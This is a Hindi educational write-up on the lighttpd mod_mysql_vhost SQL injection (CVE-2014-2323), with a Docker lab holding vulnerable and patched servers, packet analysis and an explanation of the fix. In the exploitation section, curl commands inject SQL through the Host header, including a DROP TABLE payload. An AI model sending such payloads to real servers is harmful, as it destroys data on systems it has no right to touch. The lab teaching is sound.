
CVE-2014-2323 SQL इंजेक्शन का शैक्षिक शोषण प्रदर्शन lighttpd के mod_mysql_vhost में, जिसमें Docker-आधारित लैब शामिल है जो व्यावहारिक भेद्यता विश्लेषण और पैचिंग के लिए है।
title: Ep4 - नेटवर्क से संबंधित भेद्यता members:
संबंधित भेद्यताएँ:
CVE-2014-2323 [1] was assigned to SQL injection bug.
CVE-2014-2324 [2] was assigned to the path traversal bug.
पुष्टि करें: http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt
शोषण की जाने वाली सेवा Lighttpd है। यह एक ओपनसोर्स (BSD लाइसेंस) वेबसर्वर है जिसे हल्का और तेज़ होने के लिए अनुकूलित किया गया है। यह प्रसिद्ध c10k समस्या (एक सर्वर पर 10 हजार एक साथ कनेक्शनों को कैसे संभालें) के 'प्रूफ-ऑफ-कॉन्सेप्ट' के रूप में उभरा, जिससे उस समय (2003) काफी लोकप्रियता मिली, और वर्तमान में Whatsapp.com, Xkcd द्वारा तथा अतीत में YouTube द्वारा उपयोग किया जाता है। बाज़ार में इसकी स्थिति काफी दिलचस्प है, जैसा कि हम ग्राफ़ में देख सकते हैं:

सर्वर कई कनेक्शनों की समस्या से निपटने के लिए इवेंट-आधारित एसिंक्रोनस तंत्रों (kqueue BSDs पर, epoll Linux पर) का उपयोग करता है, जिससे कई थ्रेड्स की आवश्यकता कम हो जाती है, जिसके परिणामस्वरूप बहुत छोटी मेमोरी 'फुटप्रिंट' और बेहतर CPU उपयोग होता है (यह रणनीति Nginx सर्वरों द्वारा भी उपयोग की जाती है, जिनका उपयोग वर्षों में काफी बढ़ गया है):

lighty की एक विशेषता वर्चुअल होस्ट्स का आसान प्रबंधन है।
यह एक ऐसी विधि है जिसका उपयोग एक ही IP पर हल होने वाले एक से अधिक डोमेन नामों को होस्ट करने के लिए किया जाता है, जिससे वेबसाइटों की पेशकश करने वाली कंपनियों की होस्टिंग लागत कम हो जाती है, क्योंकि प्रत्येक वेबसाइट के लिए समर्पित सर्वर आरक्षित करना आवश्यक नहीं है।
यह तकनीक IP-आधारित (प्रत्येक होस्ट के लिए एक इंटरफ़ेस) या नाम-आधारित (इंटरफ़ेस साझा करते हुए प्रत्येक होस्ट के लिए एक नाम) हो सकती है - इस प्रस्तुति में खोजी गई।
Name-Based
: क्लाइंट द्वारा प्रदान किए गए 'Hostname' का उपयोग करके यह पहचानता है कि तदनुसार उत्तर देने के लिए किस सेवा का उपयोग करना है। इस विधि में दो कठिनाइयाँ हैं: सुरक्षित सत्रों (TLS) से निपटने में जटिलताएँ - हैंडशेक सर्वर को Host इंगित करने वाले किसी भी हेडर के पारित होने से पहले किया जाना चाहिए, जिससे हैंडशेक में प्रस्तुत किए जाने वाले प्रमाणपत्र का निर्धारण जटिल हो जाता है। इस समस्या का एक हल TLS का एक एक्सटेंशन है जिसे Server Name Indication (SNI) कहा जाता है, जो हैंडशेक की शुरुआत में नाम प्रस्तुत करने की अनुमति देता है, जिससे सही प्रमाणपत्र का चयन संभव हो जाता है। दूसरी समस्या अच्छी तरह से परिभाषित Host हेडर के बिना कनेक्शन के प्रयास के बारे में है, जिसके परिणामस्वरूप उपयोग की जाने वाली सेवा की अनिश्चितता उत्पन्न होती है।
IP-Based
: प्रत्येक अनुप्रयोग के लिए अलग-अलग IP का उपयोग करता है। वेबसर्वर को फिर कई भौतिक नेटवर्क इंटरफ़ेस (या एक ही इंटरफ़ेस के अंतर्गत वर्चुअल) के लिए कॉन्फ़िगर किया जाता है और फिर (गंतव्य) IP पते के अनुसार तदनुसार उत्तर देता है।
IP aliasing, हमें प्रत्येक सेवा के लिए वर्चुअल इंटरफ़ेस बनाने की अनुमति देता है।
एक बड़ी कंपनी के मामले में, ग्राहकों की संख्या के आधार पर ऐसी मैपिंग का प्रबंधन करना जटिल हो सकता है। Lighty फिर इस उद्देश्य के लिए डेटाबेस के उपयोग का समर्थन प्रदान करता है, जैसा कि हम आगे दिखाएँगे।
पहले, आइए देखें कि 'हाथ से' एक सर्वर की कॉन्फ़िगरेशन कैसे की जाती है और फिर vhosting कैसे जोड़ा जाता है।
एक बुनियादी lighttpd सर्वर तैयार करना बहुत आसान है। बस इसे इंस्टॉल करें और एक कॉन्फ़िगरेशन फ़ाइल बनाएं जो उपयोग किए जाने वाले पोर्ट को निर्धारित करती है, विशिष्ट अनुरोधों का जवाब कैसे देना है और अन्य कॉन्फ़िगरेशन।
हम एक कॉन्फ़िगरेशन उदाहरण तैयार कर सकते हैं जो केवल स्थिर फ़ाइलों (.html या .txt) के अनुरोध प्राप्त करने से संबंधित है:
server.document-root = "/usr/lighttpd/mysite.com/"
server.port = 80
mimetype.assign = (
".html" => "text/html",
".txt" => "text/plain"
)
अब कल्पना करें कि हम वेबसाइटों की बिक्री पर आधारित व्यवसाय बनाना चाहते हैं और खरीदार को स्वयं का डोमेन प्रदान करते हैं। लागत कम करने के लिए हम प्रत्येक ग्राहक के लिए vhosts बनाना चाहते हैं। मान लें कि नेटवर्किंग पाठ्यक्रम तीन वेबसाइटें खरीदना चाहता है: redes.io, mac0448.io और mac5910.io। हमारी कंपनी फिर डोमेन पंजीकृत करती है, सभी हमारे एकमात्र सर्वर के IP की ओर इंगित करते हैं, जिसमें एक ही इंटरफ़ेस है।
ps: चूंकि हम इसका अनुकरण करना चाहते हैं, हम /etc/hosts फ़ाइल को बदल सकते हैं:
172.17.0.2 redes.io
172.17.0.2 mac0448.io
172.17.0.2 mac5910.io
एक ही IP से हल करते हुए ग्राहकों की विभिन्न वेबसाइटों की सेवा करने में सक्षम होने के लिए, हम सर्वर को मैन्युअल रूप से कॉन्फ़िगर कर सकते हैं:
server.document-root = "/usr/lighttpd/default/"
server.port = 80
mimetype.assign = (
".html" => "text/html",
".txt" => "text/plain"
)
$HTTP["host"] == "redes.io" {
server.document-root = "/usr/lighttpd/redes/"
} else $HTTP["host"] == "mac0448.io" {
server.document-root = "/usr/lighttpd/mac0448/"
} else $HTTP["host"] == "mac5910.io" {
server.document-root = "/usr/lighttpd/mac5910/"
}
लेकिन, जैसा कि हम कल्पना कर सकते हैं, यह एक समस्या बन सकता है जब हम कई ग्राहकों से निपटना चाहते हैं और पहले बताए अनुसार प्रत्येक वेबसाइट को अलग-अलग कॉन्फ़िगरेशन प्रदान करना चाहते हैं।
mod_mysql_vhost मॉड्यूल के साथ हम अपने सर्वर को ऐसे मैपिंग के लिए जिम्मेदार mysql डेटाबेस से जोड़ सकते हैं। फिर हम डेटाबेस का नाम, इसे अपने नेटवर्क में कैसे पाया जाए, और खोज करने के लिए कौन सा कमांड उपयोग करना है, निर्दिष्ट करते हैं।
server.modules = (
"mod_accesslog",
"mod_mysql_vhost"
)
mysql-vhost.db = "NOME_DO_BANCO"
mysql-vhost.user = "USUARIO"
mysql-vhost.pass = "SENHA"
(!!!!!!!!!!!!!!!)
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
(!!!!!!!!!!!!!!!)
mysql-vhost.hostname = "HOSTNAME"
mysql-vhost.port = "PORTA"
SQL रिलेशनल डेटाबेस के प्रबंधन के लिए एक घोषणात्मक भाषा है, जिसका उपयोग (...) आदि में किया जाता है।
TODO
TODO
समस्याएँ इस तथ्य के कारण उत्पन्न होती हैं कि SQL का उपयोग करने वाली डेटाबेस प्रबंधन प्रणालियाँ मान लेती हैं कि डाले गए कमांड व्यवस्थापक के ज्ञान वाले कमांड होंगे और उनके द्वारा अच्छी तरह से प्रबंधित किए जाएँगे। यह धारणा हमेशा सत्य नहीं होती है, क्योंकि DB प्रणाली के साथ इंटरैक्ट करने वाली प्रणालियों में विफलता दोष उत्पन्न कर सकती है, विशेष रूप से वेब पर, जहाँ उपयोगकर्ता के साथ इंटरैक्शन अधिक होता है।
SQL कमांड के साथ समस्या तब उत्पन्न होती है जब कमांड को उपयोगकर्ता द्वारा उत्पन्न टेक्स्ट का उपयोग करके बनाने का इरादा होता है, चाहे वह उपयोगकर्ता नाम, पासवर्ड या कोई अन्य गतिशील सामग्री हो।
(TODO)
कैसे हल करें? Escaping।
हमारे कॉन्फ़िगरेशन में, उदाहरण के लिए, हमारे पास एक बड़ी खामी है:
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
क्योंकि संभवतः (और संस्करण 1.4.34 तक यही होता था) ? को किसी भी कमांड द्वारा प्रतिस्थापित किया जा सकता है और फिर MySQL द्वारा निष्पादित किया जा सकता है।
आइए फिर इसे 3 कंटेनरों वाले नेटवर्क में अनुकरण करें: 1 mysql सर्वर और दो lighttpd सर्वर, एक कमजोर और दूसरा ठीक किया गया।
Docker ऑपरेटिंग सिस्टम के ऊपर एक एब्स्ट्रैक्शन परत प्रदान करता है जो कर्नेल द्वारा प्रदान किए गए आइसोलेशन तंत्रों, जैसे cgroups (प्रक्रियाओं के एक समूह के CPU, IO, मेमोरी और नेटवर्क उपयोग को अलग करना) और namespaces () के उपयोग के माध्यम से किसी अन्य OS की आवश्यकता के बिना वर्चुअलाइज़ेशन की अनुमति देता है, जिससे वर्चुअल मशीन को शुरू करने और बनाए रखने का सारा ओवरहेड समाप्त हो जाता है। इस प्रकार, संसाधन आवंटन (जैसे, 1GB इमेज वाली 100 वर्चुअल मशीनें ==> 100GB। 1GB इमेज के 100 कंटेनर ==> ~1GB।) और प्रोसेसिंग साझाकरण के साथ-साथ कर्नेल और स्वयं ऑपरेटिंग सिस्टम के संबंध में बड़ा अनुकूलन होता है। कंटेनरों के लिए सामान्य फ़ाइलें लेयर्ड फ़ाइल सिस्टम के माध्यम से भी साझा की जा सकती हैं।

namespaces के लिए एक दिलचस्प सादृश्य chroot है, जो एक प्रक्रिया को एक निर्देशिका को अपने संपूर्ण फ़ाइल सिस्टम की जड़ के रूप में देखने की अनुमति देता है, जिससे सिस्टम के बारे में उसका दृष्टिकोण बदल जाता है (बाकी सिस्टम को बदले बिना)। namespaces के साथ हम OS के विभिन्न अन्य पहलुओं, जैसे प्रक्रिया ट्री, नेटवर्क इंटरफ़ेस, FS, IPC और अन्य के लिए यह अलग दृष्टिकोण बना सकते हैं।
(और देखें: Separation Anxiety: A Tutorial for Isolating Your System with Linux Namespaces)
यह ध्यान में रखा जाना चाहिए कि कभी-कभी उपयोगकर्ता ऐसी साझेदारी और कम आइसोलेशन नहीं चाहता है।
Docker डेमॉन के बूट के समय होस्ट पर docker0 नामक एक वर्चुअल इंटरफ़ेस कॉन्फ़िगर किया जाता है, जिसमें होस्ट द्वारा उपयोग न की गई एक सबनेट का चयन किया जाता है और फिर वर्चुअल इंटरफ़ेस को एक खाली IP सौंपा जाता है। याद रखें कि तीन रेंजों में से एक का उपयोग किया जा सकता था:
The Internet Assigned Numbers Authority (IANA) has reserved the
following three blocks of the IP address space for private internets:
10.0.0.0 - 10.255.255.255 (10/8 prefix)
172.16.0.0 - 172.31.255.255 (172.16/12 prefix)
192.168.0.0 - 192.168.255.255 (192.168/16 prefix)
उदाहरण के लिए, मेरी मशीन पर:
docker0 Link encap:Ethernet HWaddr 02:42:58:ca:78:6d
inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0
inet6 addr: fe80::42:58ff:feca:786d/64 Scope:Link
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:74601 errors:0 dropped:0 overruns:0 frame:0
TX packets:98561 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:4196391 (4.1 MB) TX bytes:380442767 (380.4 MB)
डिफ़ॉल्ट नेटवर्क कॉन्फ़िगरेशन के साथ इंस्टैंशिएट किए गए प्रत्येक कंटेनर के लिए, डेमॉन होस्ट पर एक इंटरफ़ेस (नीचे दिए गए उदाहरण में, उदाहरण के लिए कंटेनर 1 के लिए verth5998947) (docker0 सबनेट का हिस्सा) और कंटेनर पर एक अन्य इंटरफ़ेस (eth0) कॉन्फ़िगर करता है, साथ ही iptables कॉन्फ़िगरेशन (जो व्यवस्थापक को होस्ट पर पैकेटों के प्रबंधन के लिए नियम श्रृंखलाओं की तालिकाओं को परिभाषित करने की अनुमति देता है) और NAT को बदलता है ताकि बाहरी ट्रैफ़िक कंटेनरों को अग्रेषित किया जा सके।

प्रदर्शन Linux मशीन पर ठीक से कॉन्फ़िगर किए गए docker वाले वातावरण पर निर्भर करता है। यह हो जाने के बाद, इमेज बनाने की आवश्यकता है:
$ ./scripts/create-lighty-image.sh
उपरोक्त कमांड फिर Dockerfile फ़ाइल के आधार पर एक इमेज बनाएगा, जिसमें lighttpd के दोनों संस्करणों के स्रोत कोड शामिल होंगे: कमजोर और सुधारित दोष वाला।
यह हो जाने के बाद, हम उन कंटेनरों को इंस्टैंशिएट कर सकते हैं जो डेमो का हिस्सा बनने वाले प्रोसेसिंग इंस्टेंस का प्रतिनिधित्व करेंगे, और डेटाबेस, जो एक कंटेनर के रूप में भी अलग है:
$ ./scripts/create-mysql-container.sh
$ ./scripts/create-lighty-container.sh vulnerable
$ ./scripts/create-lighty-container.sh patched
परिणामस्वरूप हमारे पास है:
lighty-mysqlserver के पोर्ट 3306 पर सुन रहा है।lighty-vulnerable कंटेनर के पोर्ट 80 पर सुन रहा है।lighty-patched कंटेनर के पोर्ट 80 पर सुन रहा है।
कंटेनरों के IP प्राप्त करने के लिए, बस कमांड चलाएँ:
$ ./scripts/getips.sh
Docker container ip Addresses:
- lighty-vulnerable: 172.17.0.3
- lighty-patched: 172.17.0.4
- lighty-mysqlserver: 172.17.0.2
'कथित मशीनें' तैयार हैं, अब केवल DNS को कॉन्फ़िगर करना शेष है ताकि एड्रेस रिज़ॉल्यूशन सही ढंग से किया जा सके। इस समय हम BIND सर्वर का उपयोग करके DNS अनुरोधों के रिज़ॉल्यूशन के लिए समर्पित एक और कंटेनर बना सकते थे, लेकिन तेज़ी के लिए हम केवल /etc/hosts संपादित कर सकते हैं:
172.17.0.3 redes.io
172.17.0.3 mac0448.io
172.17.0.3 mac5910.io
अब हमें यह करने की आवश्यकता है कि lighttpd सर्वर mysql सर्वर का उपयोग करके वर्चुअल होस्टिंग का कार्य करने में सक्षम हो। इसके लिए हमें डेटाबेस में प्रविष्टियाँ सम्मिलित करने की आवश्यकता है ताकि हमारे सर्वर DB के अनुसार कार्य को संभाल सकें (उपरोक्त स्क्रिप्ट का उपयोग करने पर नीचे दी गई प्रक्रिया करने की कोई आवश्यकता नहीं है - स्क्रिप्ट पहले से ही तालिका को इनिशियलाइज़ करती है):
$ docker exec -it lighty-mysqlserver bash
root@lighty-mysqlserver:/# mysql -u root -p
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| lighttpd |
| mysql |
| performance_schema |
| sys |
+--------------------+
mysql> use lighttpd;
mysql> mysql> CREATE TABLE domains(
-> domain varchar(64) not null primary key,
-> docroot varchar(128) not null
-> );
Query OK, 0 rows affected (0.04 sec)
mysql> INSERT INTO domains VALUES ('redes.io', '/usr/lighttpd/redes/');
mysql> INSERT INTO domains VALUES ('mac5910.io', '/usr/lighttpd/mac5910/');
mysql> INSERT INTO domains VALUES ('mac0448.io', '/usr/lighttpd/mac0448/');
mysql> SELECT * FROM domains;
+------------+------------------------+
| domain | docroot |
+------------+------------------------+
| mac0448.io | /usr/lighttpd/mac0448/ |
| mac5910.io | /usr/lighttpd/mac5910/ |
| redes.io | /usr/lighttpd/redes/ |
+------------+------------------------+
इस क्षण से, सर्वर डेटाबेस-आधारित वर्चुअल होस्टिंग करने में सक्षम हैं।
हमला IPv6 प्रकार के Host के साथ HTTP अनुरोधों में भेजे गए Host हेडर के पार्सिंग चरण में एक दोष का शोषण करने पर आधारित है। पार्स के लिए जिम्मेदार विधि होस्ट के अलावा अन्य वर्णों को पढ़ने और उन्हें ऐसे ही व्याख्या करने की अनुमति देती है। इसकी समस्या यह है कि, जैसा कि पहले दिखाया गया था, किसी वर्चुअल होस्ट की खोज के लिए कमांड में एक होस्ट स्ट्रिंग SQL कमांड में आँख मूंदकर (escaping न करते हुए) डाली जाती है:
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='QUALQUER_COISA_QUE_VENHA_NO_HOST';"
एक अच्छे इरादे वाला अनुरोध फिर डिफ़ॉल्ट इंटरफ़ेस docker0 को 'सूँघने' पर निम्नलिखित पैकेट प्रवाह प्रस्तुत करता है, जहाँ से होकर कंटेनरों के बीच सभी पैकेट प्रवाहित होते हैं:

आइए फिर प्रवाह के प्रत्येक घटक का विश्लेषण करें:
अच्छी तरह से बना HTTP अनुरोध

अच्छी तरह से बना MySQL अनुरोध

MySQL प्रतिक्रिया

HTTP प्रतिक्रिया

फिर हम ऐसी भेद्यता का शोषण कर सकते हैं।
curl का उपयोग करके हम CVE की पुष्टि में वर्णित अनुसार दुर्भावनापूर्ण अनुरोधों को गढ़ सकते हैं।
$ ./scripts/exploit1
curl --header "Host: []' SINTAXE ERRADA" redes.io

हम स्पष्ट रूप से पता लगा सकते हैं कि शोषण की जाने वाली एक भेद्यता है, क्योंकि आंतरिक सर्वर त्रुटि नहीं होनी चाहिए। Google के सर्वर के लिए उसी स्क्रिप्ट का परीक्षण करते हुए:
$ ./scripts/exploit2
curl --header "Host: []' SINTAXE ERRADA" www.google.com
<html><title>Error 400 (Bad Request)!!1</title></html>%
हम पुष्टि करते हैं कि डेटाबेस को भेजे गए अनुरोध का विश्लेषण करके हम डेटाबेस का शोषण कर सकते हैं:
गलत तरीके से बना MySQL अनुरोध

MySQL प्रतिक्रिया

फिर हम विनाशकारी कमांड के साथ आगे बढ़ सकते हैं!
$ ./scripts/exploit3
curl --header "Host: []'; DROP TABLE domains;--'" redes.io
दुर्भावनापूर्ण HTTP अनुरोध

दुर्भावनापूर्ण MySQL अनुरोध

MySQL प्रतिक्रिया

और तालिका चली गई! परिणामस्वरूप, सर्वर डिफ़ॉल्ट रूप से कॉन्फ़िगर किए गए के अलावा अन्य वर्चुअल होस्ट्स को हल करने में सक्षम नहीं होगा।
चूंकि हमारे डेटाबेस ने वर्चुअल होस्टिंग तालिका खो दी है, हमें इसे पुनर्प्राप्त करने की आवश्यकता है। इसके लिए कंटेनर के अंदर तालिका निर्माण और मानों को सम्मिलित करने की प्रक्रिया को निष्पादित करना पर्याप्त है:
$ docker exec $DOCKER_MYSQL "bash" "-c" "mysql -u root -ptoor lighttpd < /db-init.sql"
हम सत्यापित कर सकते हैं कि पैच समस्या का समाधान करता है, जब हम फिर से हमला करने का प्रयास करते हैं (अब ठीक किए गए सर्वर पर):
```sh
$ ./scripts/exploit4
curl --header "Host: []'; DROP TABLE domains;--'" redes.io
फिर हम दुर्भावनापूर्ण HTTP अनुरोध करते हैं:
ठीक किए गए सर्वर पर दुर्भावनापूर्ण HTTP अनुरोध

लेकिन, आइए नेटवर्क में पैकेट प्रवाह देखें:
पैकेट प्रवाह

जैसा कि हम देख सकते हैं, चूंकि यह एक दुर्भावनापूर्ण पैकेट है, सर्वर तुरंत अनुरोध के गलत गठन की त्रुटि लौटाता है और डेटाबेस से कोई अनुरोध नहीं करता है।
भेद्यता कोड के दो भागों में व्यक्त होती है: mod_mysql_vhost मॉड्यूल में (जिसे अंतिम उपाय के रूप में, क्वेरी के उस भाग में पारित सामग्री को एक मान्य कमांड के रूप में व्याख्या नहीं करनी चाहिए) और request.c में अनुरोधों के हैंडलिंग में।
mod_mysql_vhost.cमॉड्यूल में समस्या का समाधान सरल है, बस MySQL द्वारा प्रदान की गई escape रूटीन शामिल करें और फिर यदि कभी कोई दुर्भावनापूर्ण कमांड डाला जाता है, तो सर्वर को कुछ नहीं होगा (क्योंकि MySQL त्रुटि का संकेत देगा)।

request.cअनुरोध कोड में उस मामले के लिए हैंडलिंग है जब IPv6 पते के बाद स्ट्रिंग समाप्त नहीं होती है (अर्थात, \0 प्रस्तुत नहीं करती है)। तब तक सर्वर व्याकरण के अनुसार सही ढंग से पहचानने में सक्षम था कि होस्टनाम मान्य है या नहीं (पते के साथ एक पोर्ट पारित करने के मामलों को भी स्वीकार करते हुए), लेकिन जब पोर्ट पारित नहीं किया गया था (मान्य IPv6 समाप्त हो जाता था), तो ब्रैकेट के बंद होने (जो एक पते के अंत को इंगित करता है) के बाद स्ट्रिंग का शेष भाग नहीं हटाया जाता था।
इस प्रकार:

तब यह मामला सत्यापित होता है।
Commits:
- patched: 1.4.35 - d1a23569161148f5acde8d4a6fb78c44284e1853
- non-patched: 1.4.32 - 3ca6adc2332be2ca18b66698a759fae5831f164f